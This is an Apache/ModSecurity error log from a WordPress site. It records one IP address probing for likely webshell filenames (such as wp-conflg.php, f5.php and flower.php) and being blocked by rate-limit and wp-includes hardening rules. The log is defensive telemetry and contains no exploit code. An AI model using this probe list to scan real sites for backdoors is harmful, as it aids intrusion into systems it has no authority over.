[Sat Feb 28 01:03:30.898083 2026] [:error] [pid 38620:tid 38641] [client 20.220.196.236:43992] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aaHOYgP6I7SRqrhh7RrnxAAAAVM"]
[Sat Feb 28 01:03:31.317790 2026] [:error] [pid 15100:tid 15165] [client 20.220.196.236:43970] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aaHOY0OEbzcINan_ctK5IQAAAEU"]
[Sat Feb 28 01:03:31.728663 2026] [:error] [pid 38620:tid 38637] [client 20.220.196.236:43977] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aaHOYwP6I7SRqrhh7RrnyQAAAU8"]
[Sat Feb 28 01:03:32.140091 2026] [:error] [pid 38620:tid 38626] [client 20.220.196.236:43289] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaHOZAP6I7SRqrhh7RrnzwAAAUQ"]
[Sat Feb 28 01:03:32.555962 2026] [:error] [pid 38620:tid 38629] [client 20.220.196.236:44015] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaHOZAP6I7SRqrhh7Rrn0QAAAUc"]
[Sat Feb 28 01:03:32.967758 2026] [:error] [pid 38620:tid 38627] [client 20.220.196.236:43297] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaHOZAP6I7SRqrhh7Rrn1AAAAUU"]
[Sat Feb 28 01:03:33.381418 2026] [:error] [pid 38620:tid 38632] [client 20.220.196.236:43988] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaHOZQP6I7SRqrhh7Rrn1gAAAUo"]
[Sat Feb 28 01:03:33.793293 2026] [:error] [pid 15099:tid 15153] [client 20.220.196.236:43459] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x/"] [unique_id "aaHOZenvP2vtPjYDq_gvIgAAANQ"]
[Sat Feb 28 01:03:34.202566 2026] [:error] [pid 38620:tid 38628] [client 20.220.196.236:43298] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x/"] [unique_id "aaHOZgP6I7SRqrhh7Rrn3QAAAUY"]
[Sat Feb 28 01:03:34.612124 2026] [:error] [pid 38620:tid 38633] [client 20.220.196.236:43688] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x/"] [unique_id "aaHOZgP6I7SRqrhh7Rrn4QAAAUs"]
[Sat Feb 28 01:03:35.023105 2026] [:error] [pid 38620:tid 38640] [client 20.220.196.236:43657] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x/"] [unique_id "aaHOZwP6I7SRqrhh7Rrn5QAAAVI"]
[Sat Feb 28 01:03:35.434000 2026] [:error] [pid 38620:tid 38630] [client 20.220.196.236:43694] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaHOZwP6I7SRqrhh7Rrn5wAAAUg"]
[Sat Feb 28 01:03:35.846507 2026] [:error] [pid 15098:tid 15114] [client 20.220.196.236:43764] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaHOZ8kFqny8dQQbmTke7AAAAIg"]
[Sat Feb 28 01:03:36.257343 2026] [:error] [pid 38620:tid 38629] [client 20.220.196.236:44023] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaHOaAP6I7SRqrhh7Rrn7gAAAUc"]
[Sat Feb 28 01:03:36.669219 2026] [:error] [pid 38620:tid 38637] [client 20.220.196.236:44002] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaHOaAP6I7SRqrhh7Rrn8QAAAU8"]
[Sat Feb 28 01:03:37.078802 2026] [:error] [pid 38620:tid 38630] [client 20.220.196.236:43285] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aaHOaQP6I7SRqrhh7Rrn9AAAAUg"]
[Sat Feb 28 01:03:37.492037 2026] [:error] [pid 38620:tid 38624] [client 20.220.196.236:43264] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aaHOaQP6I7SRqrhh7Rrn-AAAAUI"]
[Sat Feb 28 01:03:37.902883 2026] [:error] [pid 38620:tid 38639] [client 20.220.196.236:43723] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aaHOaQP6I7SRqrhh7Rrn-gAAAVE"]
[Sat Feb 28 01:03:38.316135 2026] [:error] [pid 38586:tid 38601] [client 20.220.196.236:43981] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aaHOar_i6nvKNhjFW7Uv0AAAAQw"]
[Sat Feb 28 01:03:38.734208 2026] [:error] [pid 38620:tid 38631] [client 20.220.196.236:43919] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaHOagP6I7SRqrhh7RroAgAAAUk"]
[Sat Feb 28 01:03:39.145570 2026] [:error] [pid 38620:tid 38634] [client 20.220.196.236:43983] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaHOawP6I7SRqrhh7RroBgAAAUw"]
[Sat Feb 28 01:03:39.558839 2026] [:error] [pid 15098:tid 15124] [client 20.220.196.236:43641] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaHOa8kFqny8dQQbmTke7gAAAJI"]
[Sat Feb 28 01:03:39.977151 2026] [:error] [pid 15099:tid 15144] [client 20.220.196.236:43299] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaHOa-nvP2vtPjYDq_gvKwAAAMs"]
[Sat Feb 28 01:03:40.386322 2026] [:error] [pid 38586:tid 38600] [client 20.220.196.236:43290] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaHObL_i6nvKNhjFW7Uv0gAAAQs"]
[Sat Feb 28 01:03:40.797218 2026] [:error] [pid 15100:tid 15177] [client 20.220.196.236:44004] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaHObEOEbzcINan_ctK5JwAAAFE"]
[Sat Feb 28 01:03:41.211796 2026] [:error] [pid 15099:tid 15136] [client 20.220.196.236:43272] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaHObenvP2vtPjYDq_gvLAAAAMM"]
[Sat Feb 28 01:03:41.623624 2026] [:error] [pid 38586:tid 38593] [client 20.220.196.236:43303] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaHObb_i6nvKNhjFW7Uv1wAAAQQ"]
[Sat Feb 28 01:03:42.036664 2026] [:error] [pid 15240:tid 15264] [client 20.220.196.236:43269] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaHObi1iKL_41Rk9A9Nm-wAAABY"]
[Sat Feb 28 01:03:42.448810 2026] [:error] [pid 15240:tid 15259] [client 20.220.196.236:43305] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaHObi1iKL_41Rk9A9Nm_QAAABE"]
[Sat Feb 28 01:03:42.861507 2026] [:error] [pid 15100:tid 15164] [client 20.220.196.236:43319] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaHObkOEbzcINan_ctK5MQAAAEQ"]
[Sat Feb 28 01:03:43.272870 2026] [:error] [pid 38586:tid 38599] [client 20.220.196.236:43277] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaHOb7_i6nvKNhjFW7Uv3AAAAQo"]
[Sat Feb 28 01:03:43.685013 2026] [:error] [pid 15099:tid 15150] [client 20.220.196.236:44001] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f5.php"] [unique_id "aaHOb-nvP2vtPjYDq_gvMQAAANE"]
[Sat Feb 28 01:03:44.096559 2026] [:error] [pid 38586:tid 38600] [client 20.220.196.236:43876] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f5.php"] [unique_id "aaHOcL_i6nvKNhjFW7Uv4wAAAQs"]
[Sat Feb 28 01:03:44.508562 2026] [:error] [pid 15240:tid 15258] [client 20.220.196.236:43916] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f5.php"] [unique_id "aaHOcC1iKL_41Rk9A9NnAAAAABA"]
[Sat Feb 28 01:03:44.920180 2026] [:error] [pid 15100:tid 15165] [client 20.220.196.236:43314] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f5.php"] [unique_id "aaHOcEOEbzcINan_ctK5MwAAAEU"]
[Sat Feb 28 01:03:45.331844 2026] [:error] [pid 15100:tid 15161] [client 20.220.196.236:43998] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aaHOcUOEbzcINan_ctK5NgAAAEE"]
[Sat Feb 28 01:03:45.741452 2026] [:error] [pid 38586:tid 38595] [client 20.220.196.236:43606] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aaHOcb_i6nvKNhjFW7Uv6QAAAQY"]
[Sat Feb 28 01:03:46.153868 2026] [:error] [pid 15240:tid 15249] [client 20.220.196.236:43640] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aaHOci1iKL_41Rk9A9NnBgAAAAc"]
[Sat Feb 28 01:03:46.569066 2026] [:error] [pid 38586:tid 38603] [client 20.220.196.236:44000] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aaHOcr_i6nvKNhjFW7Uv8AAAAQ4"]
[Sat Feb 28 01:03:46.978667 2026] [:error] [pid 15100:tid 15160] [client 20.220.196.236:43308] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aaHOckOEbzcINan_ctK5OwAAAEA"]
[Sat Feb 28 01:03:47.388480 2026] [:error] [pid 15100:tid 15175] [client 20.220.196.236:43534] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aaHOc0OEbzcINan_ctK5PQAAAE8"]
[Sat Feb 28 01:03:47.797533 2026] [:error] [pid 38586:tid 38607] [client 20.220.196.236:43278] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aaHOc7_i6nvKNhjFW7Uv9QAAARI"]
[Sat Feb 28 01:03:48.208156 2026] [:error] [pid 38586:tid 38610] [client 20.220.196.236:43307] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aaHOdL_i6nvKNhjFW7Uv9gAAARU"]
[Sat Feb 28 01:03:48.618291 2026] [:error] [pid 38620:tid 38645] [client 20.220.196.236:43612] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aaHOdAP6I7SRqrhh7RroEgAAAVc"]
[Sat Feb 28 01:03:49.029716 2026] [:error] [pid 38620:tid 38625] [client 20.220.196.236:43914] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aaHOdQP6I7SRqrhh7RroGAAAAUM"]
[Sat Feb 28 01:03:49.445405 2026] [:error] [pid 15240:tid 15260] [client 20.220.196.236:43295] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aaHOdS1iKL_41Rk9A9NnDAAAABI"]
[Sat Feb 28 01:03:49.857267 2026] [:error] [pid 15240:tid 15251] [client 20.220.196.236:44022] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aaHOdS1iKL_41Rk9A9NnDwAAAAk"]
[Sat Feb 28 01:03:50.268326 2026] [:error] [pid 15240:tid 15248] [client 20.220.196.236:43993] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aaHOdi1iKL_41Rk9A9NnFAAAAAY"]
[Sat Feb 28 01:03:50.678336 2026] [:error] [pid 38620:tid 38644] [client 20.220.196.236:43996] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aaHOdgP6I7SRqrhh7RroHwAAAVY"]
[Sat Feb 28 01:03:51.094650 2026] [:error] [pid 38620:tid 38627] [client 20.220.196.236:43296] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aaHOdwP6I7SRqrhh7RroIwAAAUU"]
[Sat Feb 28 01:03:51.511606 2026] [:error] [pid 38620:tid 38632] [client 20.220.196.236:43324] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aaHOdwP6I7SRqrhh7RroKQAAAUo"]
[Sat Feb 28 01:03:51.922967 2026] [:error] [pid 38586:tid 38607] [client 20.220.196.236:43846] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aaHOd7_i6nvKNhjFW7Uv_gAAARI"]
[Sat Feb 28 01:03:52.333220 2026] [:error] [pid 38586:tid 38613] [client 20.220.196.236:43291] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aaHOeL_i6nvKNhjFW7Uv_wAAARg"]
[Sat Feb 28 01:03:52.743102 2026] [:error] [pid 15098:tid 15114] [client 20.220.196.236:43646] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aaHOeMkFqny8dQQbmTke9wAAAIg"]
[Sat Feb 28 01:03:53.158868 2026] [autoindex:error] [pid 15240:tid 15260] [client 20.220.196.236:43286] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 01:03:53.365000 2026] [:error] [pid 15240:tid 15244] [client 20.220.196.236:43286] [client 20.220.196.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaHOeS1iKL_41Rk9A9NnIAAAAAI"]
